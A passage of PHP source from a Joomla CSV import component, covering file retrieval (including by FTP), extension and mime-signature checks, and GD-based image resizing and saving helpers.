$this->_unpackpath.'/'.time(); $ftpfile = $template->get('ftpfile', 'general', false); if ($ftpfile) { // Create the output file if (JFolder::create($folder)) { if (touch($folder.'/'.$ftpfile)) { // Start the FTP jimport('joomla.client.ftp'); $ftp = JFTP::getInstance($template->get('ftphost', 'general'), $template->get('ftpport', 'general'), null, $template->get('ftpusername', 'general'), $template->get('ftppass', 'general')); if ($ftp->get($folder.'/'.$ftpfile, $template->get('ftproot', 'general', '/').$ftpfile)) { $csvilog->addDebug(JText::sprintf('COM_CSVI_RETRIEVE_FROM_FTP', $template->get('ftproot', 'general', '/').$ftpfile)); $jinput->set('csv_file', $folder.'/'.$ftpfile); $jinput->set('upload_file_error', false); $this->extension = JFile::getExt($ftpfile); } else { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_CANNOT_READ_FROM_FTP')); return false; } $ftp->quit(); } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CANNOT_CREATE_TEMP_FILE', $folder.'/'.$ftpfile)); return false; } } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CANNOT_CREATE_TEMP_FOLDER', $folder)); return false; } } else { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_NO_FILENAME_GIVEN')); return false; } break; // No file given default: $csvilog->AddStats('incorrect', JText::_('COM_CSVI_NO_FILE_PROVIDED')); return false; break; } // Make sure txt files are not ignored if ($this->extension == 'txt') $this->extension = 'csv'; // Set the filename $csv_file = $jinput->get('csv_file', '', 'string'); if (JFile::exists($csv_file)) { $this->filename = JPath::clean($csv_file, '/'); // Store the users filename for display purposes $csvilog->setFilename(basename($this->filename)); } else { $csvilog->addDebug(JText::sprintf('COM_CSVI_LOCAL_FILE_DOESNT_EXIST', $jinput->get('csv_file'))); return false; } if (in_array($this->extension, $this->suffixes)) $this->valid_extension = true; else { // Test the mime type if (!in_array($this->extension, $this->mimetypes) ) { $csvilog->AddStats('information', JText::sprintf('COM_CSVI_EXTENSION_NOT_ACCEPTED', $this->extension)); return false; } } // Debug message to know what filetype the user is uploading $csvilog->addDebug(JText::sprintf('COM_CSVI_IMPORT_FILETYPE', $this->extension)); // All is fine return true; } /** * Read the next line in the file * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array with the line of data read | false if data cannot be read * @since 3.0 */ abstract public function ReadNextLine(); /** * Close the file * * @copyright * @author RolandD * @todo * @see processFile() * @access * @param * @return * @since */ public function closeFile($removefolder=true) { // Delete the uploaded folder if ($removefolder) $this->removeFolder(); } /** * Remove the temporary folder * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.0 */ protected function removeFolder() { $jinput = JFactory::getApplication()->input; if (!$jinput->get('cron', false, 'bool')) { $folder = JPath::clean(dirname($this->filename), '/'); $pos = strpos($folder, CSVIPATH_TMP); if ($pos !== false) if (JFolder::exists($folder)) JFolder::delete($folder); } } /** * Get the file position * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return int current position in the file * @since 3.0 */ abstract public function getFilePos(); /** * Set the current position in the file * * @copyright * @author RolandD * @todo * @see * @access public * @param int $pos the position to move to * @return * @since 3.0 */ abstract public function setFilePos($pos); /** * Get the size of the file * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return int the size of the file being read * @since 3.0 */ public function getFileSize() { return filesize($this->filename); } /** * Load the column headers from a file * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return bool true * @since 3.0 */ abstract public function loadColumnHeaders(); /** * Advances the file pointer 1 forward * * @copyright * @author RolandD * @todo * @see * @access public * @param bool $preview True if called from the preview * @return * @since 3.0 */ public function next($preview=false) { $discard = $this->readNextLine(); } /** * Sets the file pointer back to the beginning of the file * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ abstract function rewind(); /** * Empties the data * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return bool true * @since 3.0 */ public function clearData() { $this->data = null; return true; } } ?>PK@y>\f(,ll&components/com_csvi/helpers/images.phpnuW+AloadMimeTypes(); $this->loadImageTypes(); } /** * Check if the given file is an image * * @copyright * @author RolandD * @todo add support for external files * @see * @access public * @param string $file full path to file to check * @param bool $remote true if the file to check is a remote file * @return bool true if file is image, false if file is not an image * @since 3.0 */ public function isImage($file, $remote=false) { $mime_type = $this->findMimeType($file, $remote); if ($mime_type) { foreach ($this->_image_types as $key => $type) { if ($type['mime_type'] == $mime_type) return true; } } // If we get here, no image type has been found return false; } /** * Check a file for its mime type * * @copyright * @author RolandD * @todo * @see * @access public * @param string $filename the full location of the file to check * @param bool $remote true if the file to check is a remote file * @return string|bool return mime type if found | return false if no type found * @since 3.0 */ public function findMimeType($filename, $remote=false) { jimport('joomla.filesystem.file'); if (JFile::exists($filename) || $remote) { $handle = @fopen($filename, "r"); if ($handle) { $string = fread($handle, 20); $max_length_found = 0; foreach ($this->_mime_types as $key => $type) { if (stripos(bin2hex($string), $type['signature'], 0) !== false) { if (strlen($type['signature']) > $max_length_found) { $max_length_found = strlen($type['signature']); if (isset($type['mime_type'])) $this->_found_mime_type['mime_type'] = $type['mime_type']; } } } fclose($handle); if (isset($this->_found_mime_type['mime_type'])) return $this->_found_mime_type['mime_type']; else return false; } else { // Cannot open the image file, do a simple check switch (JFile::getExt($filename)) { case 'jpg': case 'jpeg': return 'image/jpeg'; break; case 'png': return 'image/png'; break; case 'gif': return 'image/gif'; break; case 'bmp': return 'image/bmp'; break; default: return false; break; } } } else return false; } /** * Load mime type signatures * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return void * @since 3.0 */ private function LoadMimeTypes() { $this->_mime_types[0]['signature'] = '474946383761'; $this->_mime_types[1]['signature'] = '424D'; $this->_mime_types[2]['signature'] = '4D5A'; $this->_mime_types[3]['signature'] = '504B0304'; $this->_mime_types[4]['signature'] = 'D0CF11E0A1B11AE1'; $this->_mime_types[5]['signature'] = '0100000058000000'; $this->_mime_types[6]['signature'] = '03000000C466C456'; $this->_mime_types[7]['signature'] = '3F5F0300'; $this->_mime_types[8]['signature'] = '1F8B08'; $this->_mime_types[9]['signature'] = '28546869732066696C65'; $this->_mime_types[10]['signature'] = '0000010000'; $this->_mime_types[11]['signature'] = '4C000000011402'; $this->_mime_types[12]['signature'] = '25504446'; $this->_mime_types[13]['signature'] = '5245474544495434'; $this->_mime_types[14]['signature'] = '7B5C727466'; $this->_mime_types[15]['signature'] = 'lh'; $this->_mime_types[16]['signature'] = 'MThd'; $this->_mime_types[17]['signature'] = '0A050108'; $this->_mime_types[18]['signature'] = '25215053'; $this->_mime_types[19]['signature'] = '2112'; $this->_mime_types[20]['signature'] = '1A02'; $this->_mime_types[21]['signature'] = '1A03'; $this->_mime_types[22]['signature'] = '1A04'; $this->_mime_types[23]['signature'] = '1A08'; $this->_mime_types[24]['signature'] = '1A09'; $this->_mime_types[25]['signature'] = '60EA'; $this->_mime_types[26]['signature'] = '41564920'; $this->_mime_types[27]['signature'] = '425A68'; $this->_mime_types[28]['signature'] = '49536328'; $this->_mime_types[29]['signature'] = '4C01'; $this->_mime_types[30]['signature'] = '303730373037'; $this->_mime_types[31]['signature'] = '4352555348'; $this->_mime_types[32]['signature'] = '3ADE68B1'; $this->_mime_types[33]['signature'] = '1F8B'; $this->_mime_types[34]['signature'] = '91334846'; $this->_mime_types[35]['signature'] = '3C68746D6C3E'; $this->_mime_types[36]['signature'] = '3C48544D4C3E'; $this->_mime_types[37]['signature'] = '3C21444F4354'; $this->_mime_types[38]['signature'] = '100'; $this->_mime_types[39]['signature'] = '5F27A889'; $this->_mime_types[40]['signature'] = '2D6C68352D'; $this->_mime_types[41]['signature'] = '20006040600'; $this->_mime_types[42]['signature'] = '00001A0007800100'; $this->_mime_types[43]['signature'] = '00001A0000100400'; $this->_mime_types[44]['signature'] = '20006800200'; $this->_mime_types[45]['signature'] = '00001A0002100400'; $this->_mime_types[46]['signature'] = '5B7665725D'; $this->_mime_types[47]['signature'] = '300000041505052'; $this->_mime_types[48]['signature'] = '1A0000030000'; $this->_mime_types[49]['signature'] = '4D47582069747064'; $this->_mime_types[50]['signature'] = '4D534346'; $this->_mime_types[51]['signature'] = '4D546864'; $this->_mime_types[52]['signature'] = '000001B3'; $this->_mime_types[53]['signature'] = '0902060000001000B9045C00'; $this->_mime_types[54]['signature'] = '0904060000001000F6055C00'; $this->_mime_types[55]['signature'] = '7FFE340A'; $this->_mime_types[56]['signature'] = '1234567890FF'; $this->_mime_types[57]['signature'] = '31BE000000AB0000'; $this->_mime_types[58]['signature'] = '1A00000300001100'; $this->_mime_types[59]['signature'] = '7E424B00'; $this->_mime_types[60]['signature'] = '504B0304'; $this->_mime_types[61]['signature'] = '89504E470D0A'; $this->_mime_types[62]['signature'] = '6D646174'; $this->_mime_types[63]['signature'] = '6D646174'; $this->_mime_types[64]['signature'] = '52617221'; $this->_mime_types[65]['signature'] = '2E7261FD'; $this->_mime_types[66]['signature'] = 'EDABEEDB'; $this->_mime_types[67]['signature'] = '2E736E64'; $this->_mime_types[68]['signature'] = '53495421'; $this->_mime_types[69]['signature'] = '53747566664974'; $this->_mime_types[70]['signature'] = '1F9D'; $this->_mime_types[71]['signature'] = '49492A'; $this->_mime_types[72]['signature'] = '4D4D2A'; $this->_mime_types[73]['signature'] = '554641'; $this->_mime_types[74]['signature'] = '57415645666D74'; $this->_mime_types[75]['signature'] = 'D7CDC69A'; $this->_mime_types[76]['signature'] = '4C000000'; $this->_mime_types[77]['signature'] = '504B3030504B0304'; $this->_mime_types[78]['signature'] = 'FF575047'; $this->_mime_types[79]['signature'] = 'FF575043'; $this->_mime_types[80]['signature'] = '3C3F786D6C'; $this->_mime_types[81]['signature'] = 'FFFE3C0052004F004F0054005300540055004200'; $this->_mime_types[82]['signature'] = '3C21454E54495459'; $this->_mime_types[83]['signature'] = '5A4F4F20'; $this->_mime_types[84]['signature'] = 'FFD8FFFE'; $this->_mime_types[85]['signature'] = 'FFD8FFE0'; $this->_mime_types[86]['signature'] = 'FFD8FFE1'; $this->_mime_types[87]['signature'] = 'FFD8FFDB'; $this->_mime_types[88]['signature'] = '474946383961'; // Extensions $this->_mime_types[0]['extension'] = '.gif'; $this->_mime_types[1]['extension'] = '.bmp'; $this->_mime_types[2]['extension'] = '.exe;.com;.386;.ax;.acm;.sys;.dll;.drv;.flt;.fon;.ocx;.scr;.lrc;.vxd;.cpl;.x32'; $this->_mime_types[3]['extension'] = '.zip'; $this->_mime_types[4]['extension'] = '.doc;.xls;.xlt;.ppt;.apr'; $this->_mime_types[5]['extension'] = '.emf'; $this->_mime_types[6]['extension'] = '.evt'; $this->_mime_types[7]['extension'] = '.gid;.hlp;.lhp'; $this->_mime_types[8]['extension'] = '.gz'; $this->_mime_types[9]['extension'] = '.hqx'; $this->_mime_types[10]['extension'] = '.ico'; $this->_mime_types[11]['extension'] = '.lnk'; $this->_mime_types[12]['extension'] = '.pdf'; $this->_mime_types[13]['extension'] = '.reg'; $this->_mime_types[14]['extension'] = '.rtf'; $this->_mime_types[15]['extension'] = '.lzh'; $this->_mime_types[16]['extension'] = '.mid'; $this->_mime_types[17]['extension'] = '.pcx'; $this->_mime_types[18]['extension'] = '.eps'; $this->_mime_types[19]['extension'] = '.ain'; $this->_mime_types[20]['extension'] = '.arc'; $this->_mime_types[21]['extension'] = '.arc'; $this->_mime_types[22]['extension'] = '.arc'; $this->_mime_types[23]['extension'] = '.arc'; $this->_mime_types[24]['extension'] = '.arc'; $this->_mime_types[25]['extension'] = '.arj'; $this->_mime_types[26]['extension'] = '.avi'; $this->_mime_types[27]['extension'] = '.bz;.bz2'; $this->_mime_types[28]['extension'] = '.cab'; $this->_mime_types[29]['extension'] = '.obj'; $this->_mime_types[30]['extension'] = '.tar;.cpio'; $this->_mime_types[31]['extension'] = '.cru;.crush'; $this->_mime_types[32]['extension'] = '.dcx'; $this->_mime_types[33]['extension'] = '.gz;.tar;.tgz'; $this->_mime_types[34]['extension'] = '.hap'; $this->_mime_types[35]['extension'] = '.htm;.html'; $this->_mime_types[36]['extension'] = '.htm;.html'; $this->_mime_types[37]['extension'] = '.htm;.html'; $this->_mime_types[38]['extension'] = '.ico'; $this->_mime_types[39]['extension'] = '.jar'; $this->_mime_types[40]['extension'] = '.lha'; $this->_mime_types[41]['extension'] = '.wk1;.wks'; $this->_mime_types[42]['extension'] = '.fm3'; $this->_mime_types[43]['extension'] = '.wk3'; $this->_mime_types[44]['extension'] = '.fmt'; $this->_mime_types[45]['extension'] = '.wk4'; $this->_mime_types[46]['extension'] = '.ami'; $this->_mime_types[47]['extension'] = '.adx'; $this->_mime_types[48]['extension'] = '.nsf;.ntf'; $this->_mime_types[49]['extension'] = '.ds4'; $this->_mime_types[50]['extension'] = '.cab'; $this->_mime_types[51]['extension'] = '.mid'; $this->_mime_types[52]['extension'] = '.mpg;.mpeg'; $this->_mime_types[53]['extension'] = '.xls'; $this->_mime_types[54]['extension'] = '.xls'; $this->_mime_types[55]['extension'] = '.doc'; $this->_mime_types[56]['extension'] = '.doc'; $this->_mime_types[57]['extension'] = '.doc'; $this->_mime_types[58]['extension'] = '.nsf'; $this->_mime_types[59]['extension'] = '.psp'; $this->_mime_types[60]['extension'] = '.zip'; $this->_mime_types[61]['extension'] = '.png'; $this->_mime_types[62]['extension'] = '.mov'; $this->_mime_types[63]['extension'] = '.qt'; $this->_mime_types[64]['extension'] = '.rar'; $this->_mime_types[65]['extension'] = '.ra;.ram'; $this->_mime_types[66]['extension'] = '.rpm'; $this->_mime_types[67]['extension'] = '.au'; $this->_mime_types[68]['extension'] = '.sit'; $this->_mime_types[69]['extension'] = '.sit'; $this->_mime_types[70]['extension'] = '.z'; $this->_mime_types[71]['extension'] = '.tif;.tiff'; $this->_mime_types[72]['extension'] = '.tif;.tiff'; $this->_mime_types[73]['extension'] = '.ufa'; $this->_mime_types[74]['extension'] = '.wav'; $this->_mime_types[75]['extension'] = '.wmf'; $this->_mime_types[76]['extension'] = '.lnk'; $this->_mime_types[77]['extension'] = '.zip'; $this->_mime_types[78]['extension'] = '.wpg'; $this->_mime_types[79]['extension'] = '.wp'; $this->_mime_types[80]['extension'] = '.xml'; $this->_mime_types[81]['extension'] = '.xml'; $this->_mime_types[82]['extension'] = '.dtd'; $this->_mime_types[83]['extension'] = '.zoo'; $this->_mime_types[84]['extension'] = '.jpeg;.jpe;.jpg'; $this->_mime_types[85]['extension'] = '.jpeg;.jpe;.jpg'; $this->_mime_types[86]['extension'] = '.jpeg;.jpe;.jpg'; $this->_mime_types[87]['extension'] = '.jpeg;.jpe;.jpg'; $this->_mime_types[88]['extension'] = '.gif'; // Descriptions $this->_mime_types[0]['description'] = 'GIF 87A'; $this->_mime_types[1]['description'] = 'Windows Bitmap'; $this->_mime_types[2]['description'] = 'Executable File '; $this->_mime_types[3]['description'] = 'Zip Compressed'; $this->_mime_types[4]['description'] = 'MS Compound Document v1 or Lotus Approach APR file'; $this->_mime_types[5]['description'] = 'xtended (Enhanced) Windows Metafile Format'; $this->_mime_types[6]['description'] = 'Windows NT/2000 Event Viewer Log File'; $this->_mime_types[7]['description'] = 'Windows Help File'; $this->_mime_types[8]['description'] = 'GZ Compressed File'; $this->_mime_types[9]['description'] = 'Macintosh BinHex 4 Compressed Archive'; $this->_mime_types[10]['description'] = 'Icon File'; $this->_mime_types[11]['description'] = 'Windows Link File'; $this->_mime_types[12]['description'] = 'Adobe PDF File'; $this->_mime_types[13]['description'] = 'Registry Data File'; $this->_mime_types[14]['description'] = 'Rich Text Format File'; $this->_mime_types[15]['description'] = 'Lzh compression file'; $this->_mime_types[16]['description'] = 'Musical Instrument Digital Interface MIDI-sequention Sound'; $this->_mime_types[17]['description'] = 'PC Paintbrush Bitmap Graphic'; $this->_mime_types[18]['description'] = 'Adobe EPS File'; $this->_mime_types[19]['description'] = 'AIN Archive File'; $this->_mime_types[20]['description'] = 'ARC/PKPAK Compressed 1'; $this->_mime_types[21]['description'] = 'ARC/PKPAK Compressed 2'; $this->_mime_types[22]['description'] = 'ARC/PKPAK Compressed 3'; $this->_mime_types[23]['description'] = 'ARC/PKPAK Compressed 4'; $this->_mime_types[24]['description'] = 'ARC/PKPAK Compressed 5'; $this->_mime_types[25]['description'] = 'ARJ Compressed'; $this->_mime_types[26]['description'] = 'Audio Video Interleave (AVI)'; $this->_mime_types[27]['description'] = 'Bzip Archive'; $this->_mime_types[28]['description'] = 'Cabinet File'; $this->_mime_types[29]['description'] = 'Compiled Object Module'; $this->_mime_types[30]['description'] = 'CPIO Archive File'; $this->_mime_types[31]['description'] = 'CRUSH Archive File'; $this->_mime_types[32]['description'] = 'DCX Graphic File'; $this->_mime_types[33]['description'] = 'Gzip Archive File'; $this->_mime_types[34]['description'] = 'HAP Archive File'; $this->_mime_types[35]['description'] = 'HyperText Markup Language 1'; $this->_mime_types[36]['description'] = 'HyperText Markup Language 2'; $this->_mime_types[37]['description'] = 'HyperText Markup Language 3'; $this->_mime_types[38]['description'] = 'ICON File'; $this->_mime_types[39]['description'] = 'JAR Archive File'; $this->_mime_types[40]['description'] = 'LHA Compressed'; $this->_mime_types[41]['description'] = 'Lotus 123 v1 Worksheet'; $this->_mime_types[42]['description'] = 'Lotus 123 v3 FMT file'; $this->_mime_types[43]['description'] = 'Lotus 123 v3 Worksheet'; $this->_mime_types[44]['description'] = 'Lotus 123 v4 FMT file'; $this->_mime_types[45]['description'] = 'Lotus 123 v5'; $this->_mime_types[46]['description'] = 'Lotus Ami Pro'; $this->_mime_types[47]['description'] = 'Lotus Approach ADX file'; $this->_mime_types[48]['description'] = 'Lotus Notes Database/Template'; $this->_mime_types[49]['description'] = 'Micrografix Designer 4'; $this->_mime_types[50]['description'] = 'Microsoft CAB File Format'; $this->_mime_types[51]['description'] = 'Midi Audio File'; $this->_mime_types[52]['description'] = 'MPEG Movie'; $this->_mime_types[53]['description'] = 'MS Excel v2'; $this->_mime_types[54]['description'] = 'MS Excel v4'; $this->_mime_types[55]['description'] = 'MS Word'; $this->_mime_types[56]['description'] = 'MS Word 6.0'; $this->_mime_types[57]['description'] = 'MS Word for DOS 6.0'; $this->_mime_types[58]['description'] = 'Notes Database'; $this->_mime_types[59]['description'] = 'PaintShop Pro Image File'; $this->_mime_types[60]['description'] = 'PKZIP Compressed'; $this->_mime_types[61]['description'] = 'PNG Image File'; $this->_mime_types[62]['description'] = 'QuickTime Movie'; $this->_mime_types[63]['description'] = 'Quicktime Movie File'; $this->_mime_types[64]['description'] = 'RAR Archive File'; $this->_mime_types[65]['description'] = 'Real Audio File'; $this->_mime_types[66]['description'] = 'RPM Archive File'; $this->_mime_types[67]['description'] = 'SoundMachine Audio File'; $this->_mime_types[68]['description'] = 'Stuffit v1 Archive File'; $this->_mime_types[69]['description'] = 'Stuffit v5 Archive File'; $this->_mime_types[70]['description'] = 'TAR Compressed Archive File'; $this->_mime_types[71]['description'] = 'TIFF (Intel)'; $this->_mime_types[72]['description'] = 'TIFF (Motorola)'; $this->_mime_types[73]['description'] = 'UFA Archive File'; $this->_mime_types[74]['description'] = 'Wave Files'; $this->_mime_types[75]['description'] = 'Windows Meta File'; $this->_mime_types[76]['description'] = 'Windows Shortcut (Link File)'; $this->_mime_types[77]['description'] = 'WINZIP Compressed'; $this->_mime_types[78]['description'] = 'WordPerfect Graphics'; $this->_mime_types[79]['description'] = 'WordPerfect v5 or v6'; $this->_mime_types[80]['description'] = 'XML Document'; $this->_mime_types[81]['description'] = 'XML Document (ROOTSTUB)'; $this->_mime_types[82]['description'] = 'XML DTD'; $this->_mime_types[83]['description'] = 'ZOO Archive File'; $this->_mime_types[84]['description'] = 'JPG Graphic File'; $this->_mime_types[85]['description'] = 'JPG Graphic File'; $this->_mime_types[86]['description'] = 'JPG Graphic File'; $this->_mime_types[87]['description'] = 'JPG Graphic File'; $this->_mime_types[88]['description'] = 'GIF 89A'; // Mime descriptions $this->_mime_types[0]['mime_type'] = 'image/gif'; $this->_mime_types[1]['mime_type'] = 'image/bmp'; $this->_mime_types[2]['mime_type'] = ''; $this->_mime_types[3]['mime_type'] = ''; $this->_mime_types[4]['mime_type'] = ''; $this->_mime_types[5]['mime_type'] = ''; $this->_mime_types[6]['mime_type'] = ''; $this->_mime_types[7]['mime_type'] = ''; $this->_mime_types[8]['mime_type'] = ''; $this->_mime_types[9]['mime_type'] = ''; $this->_mime_types[10]['mime_type'] = ''; $this->_mime_types[11]['mime_type'] = ''; $this->_mime_types[12]['mime_type'] = 'application/pdf'; $this->_mime_types[13]['mime_type'] = ''; $this->_mime_types[14]['mime_type'] = ''; $this->_mime_types[15]['mime_type'] = ''; $this->_mime_types[16]['mime_type'] = ''; $this->_mime_types[17]['mime_type'] = ''; $this->_mime_types[18]['mime_type'] = ''; $this->_mime_types[19]['mime_type'] = ''; $this->_mime_types[20]['mime_type'] = ''; $this->_mime_types[21]['mime_type'] = ''; $this->_mime_types[22]['mime_type'] = ''; $this->_mime_types[23]['mime_type'] = ''; $this->_mime_types[24]['mime_type'] = ''; $this->_mime_types[25]['mime_type'] = ''; $this->_mime_types[26]['mime_type'] = ''; $this->_mime_types[27]['mime_type'] = ''; $this->_mime_types[28]['mime_type'] = ''; $this->_mime_types[29]['mime_type'] = ''; $this->_mime_types[30]['mime_type'] = ''; $this->_mime_types[31]['mime_type'] = ''; $this->_mime_types[32]['mime_type'] = ''; $this->_mime_types[33]['mime_type'] = ''; $this->_mime_types[34]['mime_type'] = ''; $this->_mime_types[35]['mime_type'] = ''; $this->_mime_types[36]['mime_type'] = ''; $this->_mime_types[37]['mime_type'] = ''; $this->_mime_types[38]['mime_type'] = ''; $this->_mime_types[39]['mime_type'] = ''; $this->_mime_types[40]['mime_type'] = ''; $this->_mime_types[41]['mime_type'] = ''; $this->_mime_types[42]['mime_type'] = ''; $this->_mime_types[43]['mime_type'] = ''; $this->_mime_types[44]['mime_type'] = ''; $this->_mime_types[45]['mime_type'] = ''; $this->_mime_types[46]['mime_type'] = ''; $this->_mime_types[47]['mime_type'] = ''; $this->_mime_types[48]['mime_type'] = ''; $this->_mime_types[49]['mime_type'] = ''; $this->_mime_types[50]['mime_type'] = ''; $this->_mime_types[51]['mime_type'] = ''; $this->_mime_types[52]['mime_type'] = ''; $this->_mime_types[53]['mime_type'] = ''; $this->_mime_types[54]['mime_type'] = ''; $this->_mime_types[55]['mime_type'] = ''; $this->_mime_types[56]['mime_type'] = ''; $this->_mime_types[57]['mime_type'] = ''; $this->_mime_types[58]['mime_type'] = ''; $this->_mime_types[59]['mime_type'] = ''; $this->_mime_types[60]['mime_type'] = ''; $this->_mime_types[61]['mime_type'] = 'image/png'; $this->_mime_types[62]['mime_type'] = ''; $this->_mime_types[63]['mime_type'] = ''; $this->_mime_types[64]['mime_type'] = ''; $this->_mime_types[65]['mime_type'] = ''; $this->_mime_types[66]['mime_type'] = ''; $this->_mime_types[67]['mime_type'] = ''; $this->_mime_types[68]['mime_type'] = ''; $this->_mime_types[69]['mime_type'] = ''; $this->_mime_types[70]['mime_type'] = ''; $this->_mime_types[81]['mime_type'] = ''; $this->_mime_types[82]['mime_type'] = ''; $this->_mime_types[83]['mime_type'] = ''; $this->_mime_types[84]['mime_type'] = 'image/jpeg'; $this->_mime_types[85]['mime_type'] = 'image/jpeg'; $this->_mime_types[86]['mime_type'] = 'image/jpeg'; $this->_mime_types[87]['mime_type'] = 'image/jpeg'; $this->_mime_types[88]['mime_type'] = 'image/gif'; } /** * Load known image types * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return void * @since 3.0 */ private function loadImageTypes() { $this->_image_types[0]['mime_type'] = 'image/gif'; $this->_image_types[1]['mime_type'] = 'image/bmp'; $this->_image_types[2]['mime_type'] = 'image/png'; $this->_image_types[3]['mime_type'] = 'image/jpeg'; $this->_image_types[4]['mime_type'] = 'image/jpeg'; $this->_image_types[5]['mime_type'] = 'image/gif'; } /** * Convert/Resize an image * * @copyright * @author RolandD * @todo * @see * @access public * @param array $thumb_file_details contains all the variables for creating a new image * @return mixed filename of created file if file has been created / false if file has not been created * @since 3.0 */ public function convertImage($file_details) { // Set all details foreach ($file_details as $type => $value) { switch ($type) { case 'maxsize': if ($value) $this->maxSize = true; else $this->maxSize = false; break; case 'bgred': if ($file_details['bgred'] >= 0 || $file_details['bgred'] <= 255) $this->bg_red = $file_details['bgred']; else $this->bg_red = 0; break; case 'bggreen': if($file_details['bggreen'] >= 0 || $file_details['bggreen'] <= 255) $this->bg_green = $file_details['bggreen']; else $this->bg_green = 0; break; case 'bgblue': if($file_details['bgblue'] >= 0 || $file_details['bgblue'] <= 255) $this->bg_blue = $file_details['bgblue']; else $this->bg_blue = 0; break; default: $this->$type = $value; break; } } if ($this->newImgCreate()) { return $this->file_out; } else return false; } /** * Start creating the new image * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return boolean true on success | false on failure * @since 3.0 */ private function newImgCreate() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Clear the cache clearstatcache(); switch(strtolower($this->mime_type)) { case 'image/gif': if( function_exists('imagecreatefromgif') ) { $orig_img = @imagecreatefromgif($this->file); break; } else return false; case 'image/jpg': case 'image/jpeg': if (function_exists('imagecreatefromjpeg')) { $orig_img = @imagecreatefromjpeg($this->file); break; } else { return false; } break; case 'image/png': if( function_exists('imagecreatefrompng') ) { $orig_img = @imagecreatefrompng($this->file); break; } else return false; break; default: return false; break; } if ($orig_img) { $csvilog->addDebug(JText::_('COM_CSVI_SAVING_NEW_IMAGE')); // Save the new image $img_resize = $this->NewImgSave($this->NewImgResize($orig_img)); // Clean up old image ImageDestroy($orig_img); } else { $csvilog->addDebug(JText::_('COM_CSVI_CANNOT_READ_ORIGINAL_IMAGE')); $img_resize = false; } if ($img_resize) return true; else return false; } /** * Resize the image * * Includes function ImageCreateTrueColor and ImageCopyResampled which are available only under GD 2.0.1 or higher ! * * @copyright * @author RolandD * @todo Fix docbloc * @see * @access private * @param $orig_img * @return * @since 3.0 */ private function NewImgResize($orig_img) { $orig_size = getimagesize($this->file); $maxX = $this->file_out_width; $maxY = $this->file_out_height; if ($orig_size[0] < $orig_size[1]) { $this->file_out_width = $this->file_out_height* ($orig_size[0]/$orig_size[1]); $adjustX = ($maxX - $this->file_out_width)/2; $adjustY = 0; } else { $this->file_out_height = $this->file_out_width / ($orig_size[0]/$orig_size[1]); $adjustX = 0; $adjustY = ($maxY - $this->file_out_height)/2; } while ($this->file_out_width < 1 || $this->file_out_height < 1) { $this->file_out_width*= 2; $this->file_out_height*= 2; } // See if we need to create an image at maximum size if ($this->maxSize) { if (function_exists("imagecreatetruecolor")) $im_out = imagecreatetruecolor($maxX,$maxY); else $im_out = imagecreate($maxX,$maxY); if ($im_out) { // Need to image fill just in case image is transparent, don't always want black background $bgfill = imagecolorallocate( $im_out, $this->bg_red, $this->bg_green, $this->bg_blue ); if (function_exists("imageAntiAlias")) imageAntiAlias($im_out,true); imagealphablending($im_out, false); if (function_exists("imagesavealpha")) imagesavealpha($im_out,true); if (function_exists( "imagecolorallocatealpha")) $transparent = imagecolorallocatealpha($im_out, 255, 255, 255, 127); if (function_exists("imagecopyresampled")) ImageCopyResampled($im_out, $orig_img, $adjustX, $adjustY, 0, 0, $this->file_out_width, $this->file_out_height,$orig_size[0], $orig_size[1]); else ImageCopyResized($im_out, $orig_img, $adjustX, $adjustY, 0, 0, $this->file_out_width, $this->file_out_height,$orig_size[0], $orig_size[1]); } else return false; } else { if (function_exists("imagecreatetruecolor")) $im_out = ImageCreateTrueColor($this->file_out_width,$this->file_out_height); else $im_out = imagecreate($this->file_out_width,$this->file_out_height); if ($im_out) { if (function_exists("imageAntiAlias")) imageAntiAlias($im_out,true); imagealphablending($im_out, false); if (function_exists("imagesavealpha")) imagesavealpha($im_out,true); if (function_exists("imagecolorallocatealpha")) $transparent = imagecolorallocatealpha($im_out, 255, 255, 255, 127); if (function_exists("imagecopyresampled")) ImageCopyResampled($im_out, $orig_img, 0, 0, 0, 0, $this->file_out_width, $this->file_out_height,$orig_size[0], $orig_size[1]); else ImageCopyResized($im_out, $orig_img, 0, 0, 0, 0, $this->file_out_width, $this->file_out_height,$orig_size[0], $orig_size[1]); } else return false; } return $im_out; } /** * Save the new image * * @copyright * @author RolandD * @todo Add check if destination folder exists * @todo Fix docbloc * @see * @access private * @param $new_img * @return * @since 3.0 */ private function NewImgSave($new_img) { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Lets see if we need to rename the output file since we know the sizes switch(strtolower($this->file_out_extension)) { case "gif": if (strtolower(substr($this->file_out,strlen($this->file_out)-4,4)) != ".gif") $this->file_out .= ".gif"; return @imagegif($new_img, $this->file_out); break; case "jpg": if (strtolower(substr($this->file_out,strlen($this->file_out)-4,4)) != ".jpg") $this->file_out .= ".jpg"; return @imagejpeg($new_img, $this->file_out, 100); break; case "jpeg": if (strtolower(substr($this->file_out,strlen($this->file_out)-5,5)) != ".jpeg") $this->file_out .= ".jpeg"; return @imagejpeg($new_img, $this->file_out, 100); break; case "png": if (strtolower(substr($this->file_out,strlen($this->file_out)-4,4)) != ".png") $this->file_out .= ".png"; return @imagepng($new_img,$this->file_out); break; default: $csvilog->addDebug(JText::_('COM_CSVI_NO_FILE_EXTENSION')); return false; break; } } /** * Process an image * * @copyright * @author RolandD * @todo * @see * @access public * @param string $name full path and name of the image * @param string $path the destination location of the image * @param string $output_name name of the output image * @return * @since 3.0 */ public function processImage($name, $output_path, $output_name=null) { // Set up variables $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $csvilog = $jinput->get('csvilog', null, null); // Cleanup $base = JPath::clean(JPATH_SITE, '/'); if (!empty($output_path)) $output_path = JPath::clean($output_path, '/'); $this->_imagedata = array(); $this->_imagedata['base'] = $base; if 